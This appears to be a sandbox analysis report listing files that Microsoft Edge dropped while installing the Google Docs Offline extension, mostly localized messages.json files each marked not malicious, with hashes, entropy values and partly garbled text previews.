Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7880_1844305908\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
